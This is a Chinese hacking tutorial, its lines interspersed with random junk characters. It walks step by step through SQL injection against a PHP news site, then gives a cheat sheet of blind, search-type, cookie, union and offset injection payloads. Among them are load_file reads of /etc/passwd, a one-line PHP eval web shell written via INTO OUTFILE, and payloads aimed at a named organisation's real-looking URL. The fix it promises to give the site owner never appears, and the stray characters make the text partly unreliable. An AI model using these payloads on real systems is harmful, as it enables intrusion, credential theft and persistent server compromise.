我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
9 R3 m: F% S0 U& {. ^, O6 O1 L让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
& \2 m5 G- q6 H- `) ~' J5 r我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。. {3 @% C6 s+ q3 s% _" s
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)- N( F% D2 z- }- i
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
! K) r+ B& ~* q+ X# j0 O3 a/ C l这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:1 m( a* V$ v6 z) c, W6 }- g& R
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
( M9 ]( T n8 l- h/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入" B" z& l& r& e3 t8 o; }* z; B/ I/ L) x
2 Q$ N- [, y1 H1 |+ W6 U2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
1 I5 S* X. G: m! w5 c3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意1 s8 G" `4 g6 [$ G3 c$ R; {
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
: v3 n" a$ u3 v9 W! l" Y5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
# P. B* v7 Q ~ W; c6 }" O有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,6 x/ |1 Z$ c1 q% o' Z
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。. L9 D1 ^6 b% V
我就用的是第二个思路,9 M) y, W$ u! @8 g9 N% z! A6 x
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 0 F* R% h d. A2 \ U, U
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
5 H# b1 u/ i; {5 L; i) N( I提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
1 R- _# C' g9 H6 W9 E5 q. m注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
( F3 g( T* T; t" `7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
! ]9 O9 x: I5 G2 O) I' @1 c是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....8 W1 N: T4 {/ z; q
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --5 M9 Y2 l5 W0 T1 z
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
]' h# ^ z7 p6 G5 i$ U调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......3 J# I1 T4 @% u9 E# B. _1 r; r) E6 u
下面是一些很普遍注入方式资料:0 C3 i. V: J* ]6 I# h$ u
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
9 ~! f$ {6 z: b, Z5 a3 h拆半法
7 _" {, P! X% @! z5 w5 |! T! l######################################
! c* _+ M6 e) ]: Gand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。- N6 e' |& \# F5 J
and exists (select * from admin)& t! a8 B( q( S' L6 i8 v
and exists(select id from admin)# j5 G" B7 n/ C" g1 V
and exists(select id from admin where id=1)
) u) t V7 S4 |+ F2 Band exists(select id from admin where id>1) ) C4 }/ C9 _% x
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 " s) D8 s$ E. k4 z
and exists (select username from admin)+ [& c+ b$ R6 D- [- n2 ?% j
and exists (select password from admin)6 a7 ]+ O6 V0 v
and exists (select id from admin where len(username)<10 and id=1)
! y# a* Y5 Q6 J* X5 M! f) G% Nand exists (select id from admin where len(username)>5 and id=1)
$ z8 h# w; E) ?3 g; x* F& Band exists (select id from admin where len(username)=6 and id=1)
7 K% b6 J6 W( Mand exists (select id from admin where len(password)<10 and id=1)
0 D s% z7 z, d G0 ?' Dand exists (select id from admin where len(password)>5 and id=1)! A2 ~8 H- f7 R: c) I+ W
and exists (select id from admin where len(password)=7 and id=1)
# A5 K1 s, i3 ^* r7 r; aand (select top 1 asc(mid(username,1,1)) from admin)=97
" i; K c$ q1 J7 l1 ^返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。1 H3 j, |9 B& H) W9 H' ]
猜第二位把username,1,1改成username,2,1就可以了。
) }6 g* ]! P! r. L1 K: [4 E0 V猜密码把username改成password就OK了
9 @% m. i* b$ ?& l1 z##################################################
8 f8 q5 j- e4 Z7 J1 J搜索型注入' F6 g7 {' a) z6 j: }) Y7 Q
##################################
" C6 D \8 @$ I8 F( ~% |/ ^; b% S%' and 1=1 and '%'='
, A; O" Q) q& Y, X1 E( Z%' and exists (select * from admin) and '%'='& T* H2 d: z% J/ h1 h1 o7 N3 w
%' and exists(select id from admin where id=1) and '%'='& J' m9 c# _ S. ~6 v
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
4 B8 d! x/ W/ x) |% e+ M%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
: a9 d1 b1 L" a1 [5 }" n" A) n%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
5 Z, N8 Y: Z0 w: x- L* t这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
' G$ |3 I0 N2 P+ ^. B5 D# V对于MSSQL数据库,后面可以吧 and '%'='换成--
9 }' q( U q+ P. {% C0 N ^" Y" U还有一点搜索型注入也可以使用union语句。
) D9 Z( f( {: D9 x R0 l) [########################################################4 a0 C K- P3 U `( |3 O2 D' M
联合查询。3 B; e {! e+ q0 y
#####################################7 {6 v) k& N& w u. v! j
order by 10+ H/ q* H& e. g; Y$ h! x
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
1 w9 K8 u5 a: O4 F3 ?and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin; j& W3 B* y7 X# p- U
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
9 P: ]7 z+ y3 W( @很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)1 |0 t' w3 k* m, }0 K- N2 `7 D; f
###################################
, J% }' ]5 g- \ A1 g; Q. ]cookie注入
; \- C6 \; Y* m) D###############################
4 h/ f& s; ~" u5 H( B! G$ ]http://www.******.com/shownews.asp?id=127
]6 Y7 b/ T5 j- i# |http://www.******.com/shownews.asp
( A7 [& F- i, o% T+ D o! C V5 o. ]alert(="id="+escape("127"));
1 A$ l0 k! j# ~4 [& [4 lalert(="id="+escape("127 and 1=1"));0 F- S/ t; G# s9 `. M; j
alert(="id="+escape("127 order by 10"));2 k% [3 z {5 n; \' C. N
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
: ]; B8 ~7 x' E* A: ]) }alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));6 u% e. U9 t2 x; n, V9 N! }1 v
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。$ \$ B) |0 C: k, S, {3 {
###################################/ R, _; p& Y. D
偏移注入' A) k8 c& _! u
###########################################################, z a* b1 G3 U
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin6 a7 S1 I/ s) l) S4 g
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
) f3 V, Z! D- }8 m+ Uunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
& f5 ]! v4 ^2 E+ O6 X6 y! kunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id), k, M- ?. D" w; h
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
& u) S* H) J5 P' K! |union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
, u6 d3 Y2 y4 ]' ^union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on/ q" ~+ t0 i/ U( g3 A4 e( e& J
a.id=d.id)- p9 M- [/ ] o4 {( C! e. Y2 V5 ?
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)2 X# E( {. q6 v, l8 Q
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
7 r+ b3 n/ H6 F! o) H9 f. b- r 2 L! W9 K5 |) f! z% {4 k0 L
============================================================================================================+ k& j; d# P& D: h
1.判断版本
6 i$ A c' J1 Y J7 c% W2 ^ sand ord(mid(version(),1,1))>51) \" r% @) d$ V/ |
返回正常,说明大于4.0版本,支持ounion查询
! `8 I) N0 Z' o# M! s, d2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
$ K. U2 k' l! A2 U( d+ Nand 2=4 union select 1,2,3,4,5,6,7,8,9--
1 C2 p$ p: r* J8 z% R* `5 ~% {: r- s3.查看数据库版本及当前用户,
1 C0 n) w% d0 o5 s {1 t7 tand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
7 s: a3 Q4 W9 p9 i( B数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
+ Q* P: V+ q6 C( [9 `8 @4 U8 ?4.判断有没有写权限9 Q5 J& v: k! l6 f4 g
and (select count(*) from MySQL.user)>0--
4 c6 g7 l# u$ p' [" G5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1" i& L- Y4 q: S4 b" l( A5 `5 Z
用不了这个命令,就学习土耳其黑客手法,如下; l, B+ e3 i( ?) R2 U3 r
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
, f# x: y% T- m9 c. u6.爆表,爆库
' P9 L: H# e( l0 K9 t% Sand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--' o8 D: T3 ^6 a4 C# `9 w$ B
7.爆列名,爆表
. c9 J% c" u+ ]8 Xand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
9 g. b- E- K4 c8 z. }0 Z3 c" r8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
$ \8 v9 b( V2 }. A- i! }and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
$ K4 `: |$ w; i8 z/ b9.爆字段内容
# C h1 t% [, Z# B6 _7 iand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--0 Q `+ I. ~5 a( f
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |